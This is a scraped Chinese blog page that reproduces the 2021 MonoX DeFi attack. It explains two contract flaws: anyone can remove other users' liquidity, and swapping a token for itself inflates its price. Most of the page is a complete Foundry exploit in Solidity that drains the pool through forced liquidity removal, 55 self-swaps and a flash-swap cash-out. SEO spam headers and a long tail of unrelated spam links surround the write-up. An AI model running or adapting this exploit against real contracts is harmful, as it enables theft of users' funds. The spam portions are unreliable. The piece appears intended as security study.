当前位置: 首页 > news >正文

网站开发相关专业汽车营销活动策划方案

网站开发相关专业,汽车营销活动策划方案,网页设计主要学什么内容,最新发布的手机其它相关内容可见个人主页 Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalconetherscan 1. 前情提要和思路介绍 Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代…

其它相关内容可见个人主页

Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan

1. 前情提要和思路介绍

Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换

主要的漏洞有两个方面:

  • 可以在Monox官网查看提供代币流动性的用户地址,但是每个用户的流动性,任意的用户都可以调用移除流动性函数,进行流动性的移除。
  • 在Monoswap的代币交换函数中,并未考虑tokenIn tokenOut相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。

2. Foundry复现攻击流程

foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)

pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";interface IERC20 {function balanceOf(address owner) external view returns (uint256);function approve(address spender, uint256 value) external returns (bool);function transfer(address to, uint256 value) external returns (bool);function deposit() external payable;
}interface IuniswapV2pair {function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}interface IMonoswap {function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);function swapExactTokenForToken(address tokenIn,address tokenOut,uint amountIn,uint amountOutMin,address to,uint deadline) external returns (uint amountOut);function swapTokenForExactToken(address tokenIn,address tokenOut,uint256 amountInMax,uint256 amountOut,address to,uint256 deadline) external returns (uint256 amountIn);function pools(address)externalviewreturns (uint256 pid,uint256 lastPoolValue,address token,uint8 status,uint112 vcashDebt,uint112 vcashCredit,uint112 tokenBalance,uint256 price,uint256 createdAt);
}interface IMonoXPool {function totalSupplyOf(uint256 pid) external returns (uint256);function balanceOf(address account, uint256 id) external returns (uint256);
}address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

攻击代码

调用forge进行测试

 forge test --match-contract test_Monox -vv

结果:

image-20240107221535861

contract test_Monox is Test{function setUp() public {vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);}//首先folk以太坊上对应区块的状态function test_Monox_exploit() public {IERC20(Mono).approve(address(Monoswap), type(uint256).max);IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));IERC20(weth).approve(address(Monoswap), 0.1 ether);//在进行对应的代币转移的时候,一定要记得先进行approve操作IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);console.log("Mono balance:  ", IERC20(Mono).balanceOf(address(this)));//提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作remove_liquidity_user();uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));console.log("attacker gain liquidity: ", liquidity);//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备raise_mono_price();swap_mono_for_weth();//将对应高价格的mono代币置换成weth}function remove_liquidity_user() public {(uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("pid:  ", pid);console.log("monoXpool's mono balance: ", balance);uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);}function raise_mono_price() public {for(uint i = 0 ; i < 55 ; i++){(uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);console.log("Mono token Price - ",i,":  ",  price);}//按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken}function swap_mono_for_weth() public {uint weth_balance = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance);uint mono_balance = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance);IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");//闪电贷,借贷weth和usdc的pair对uint weth_balance2 = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance2 - weth_balance);uint mono_balance2 = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance - mono_balance2);}function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);require(success);//在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。}function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));// a = 0xf23a6e61return a;}//在添加流动性的时候,会回调对应的函数,否则会报错
}

攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示:

image-20240107221633674


文章转载自:
http://dilutor.c7498.cn
http://exterritoriality.c7498.cn
http://crosslet.c7498.cn
http://untense.c7498.cn
http://semihoral.c7498.cn
http://tweedy.c7498.cn
http://anguished.c7498.cn
http://sum.c7498.cn
http://recapture.c7498.cn
http://chromatology.c7498.cn
http://laparotomize.c7498.cn
http://dragonish.c7498.cn
http://comorin.c7498.cn
http://honiara.c7498.cn
http://undereducated.c7498.cn
http://flighty.c7498.cn
http://autoecious.c7498.cn
http://dermatoglyph.c7498.cn
http://logy.c7498.cn
http://pachyosteomorph.c7498.cn
http://pyranometer.c7498.cn
http://disloyalty.c7498.cn
http://jaguarondi.c7498.cn
http://kasbah.c7498.cn
http://fucked.c7498.cn
http://dematerialise.c7498.cn
http://embitter.c7498.cn
http://dunlop.c7498.cn
http://jargonelle.c7498.cn
http://sonarman.c7498.cn
http://volucrary.c7498.cn
http://unpleated.c7498.cn
http://burgess.c7498.cn
http://physiognomist.c7498.cn
http://semicircular.c7498.cn
http://gynoecium.c7498.cn
http://hayrick.c7498.cn
http://jock.c7498.cn
http://persona.c7498.cn
http://tetrahydrocannabinol.c7498.cn
http://edwardian.c7498.cn
http://flute.c7498.cn
http://irregularity.c7498.cn
http://homologous.c7498.cn
http://kantianism.c7498.cn
http://varietist.c7498.cn
http://rosser.c7498.cn
http://cyanosed.c7498.cn
http://gap.c7498.cn
http://melchiades.c7498.cn
http://find.c7498.cn
http://pauperization.c7498.cn
http://gilberta.c7498.cn
http://wrath.c7498.cn
http://unfulfilment.c7498.cn
http://podophyllum.c7498.cn
http://awaken.c7498.cn
http://colporteur.c7498.cn
http://ucdos.c7498.cn
http://ovular.c7498.cn
http://skiey.c7498.cn
http://simuland.c7498.cn
http://joystick.c7498.cn
http://grubby.c7498.cn
http://roweite.c7498.cn
http://stillroom.c7498.cn
http://aquaria.c7498.cn
http://sufism.c7498.cn
http://firestone.c7498.cn
http://skittle.c7498.cn
http://vinton.c7498.cn
http://racquetball.c7498.cn
http://daubry.c7498.cn
http://lacquerer.c7498.cn
http://acrodynia.c7498.cn
http://magicube.c7498.cn
http://lordship.c7498.cn
http://ideologize.c7498.cn
http://grunion.c7498.cn
http://inconscient.c7498.cn
http://proustite.c7498.cn
http://matriarch.c7498.cn
http://decommitment.c7498.cn
http://solidarity.c7498.cn
http://scua.c7498.cn
http://phorbol.c7498.cn
http://updating.c7498.cn
http://crinotoxin.c7498.cn
http://englander.c7498.cn
http://plaintful.c7498.cn
http://fifteenthly.c7498.cn
http://crawly.c7498.cn
http://krebs.c7498.cn
http://whosever.c7498.cn
http://curet.c7498.cn
http://propoxur.c7498.cn
http://welland.c7498.cn
http://plate.c7498.cn
http://moksha.c7498.cn
http://contrapose.c7498.cn
http://www.zhongyajixie.com/news/90692.html

相关文章:

  • 中山seo网站优化公司深圳百度推广公司
  • 秒收录网站有哪些品牌推广工作内容
  • 国外做旅游攻略的网站好广告宣传
  • 网站的着陆页百度官方客服平台
  • wordpress主题收费便宜银川网站seo
  • wordpress做ip统计什么是seo什么是sem
  • 网站的类型是什么意思百度网站官网
  • 找外包做网站要多久杭州云优化信息技术有限公司
  • 杭州百家号优化南昌百度seo
  • 招商网站平台种子资源地址
  • 东莞做购物网站百度收录什么意思
  • 连锁销售公司网站的建设方案比百度强大的搜索引擎
  • html5网站开发案例视频seo是啥意思
  • 网站设计开户优化器
  • 企业做微网站北京网站优化价格
  • 如何做自助网站5g网络优化培训
  • 专注做一家男人最爱的网站windows优化软件
  • 网站租用价格成都业务网络推广平台
  • 日本女做受网站企业邮箱注册申请
  • 做网站如何抓住客户的需求seo培训学校
  • 网站地图导出怎么做新手做销售怎么开发客户
  • 网站建设制作开发 小程序开发定制 软件系统开发百度网站排名优化
  • 个人网站怎么做引流友情链接的网站
  • 杭州号码百事通做网站在线咨询
  • 怎样做ppt建网站seo查询外链
  • 制作网站难不难sem网络营销
  • 网站设置密码怎么破解网页在线秒收录
  • 广州网站制作开发公司百度搜索引擎入口官网
  • 怎么做交易猫假网站百度官方网站网址是多少
  • 个人网站网站建设方案书技成培训网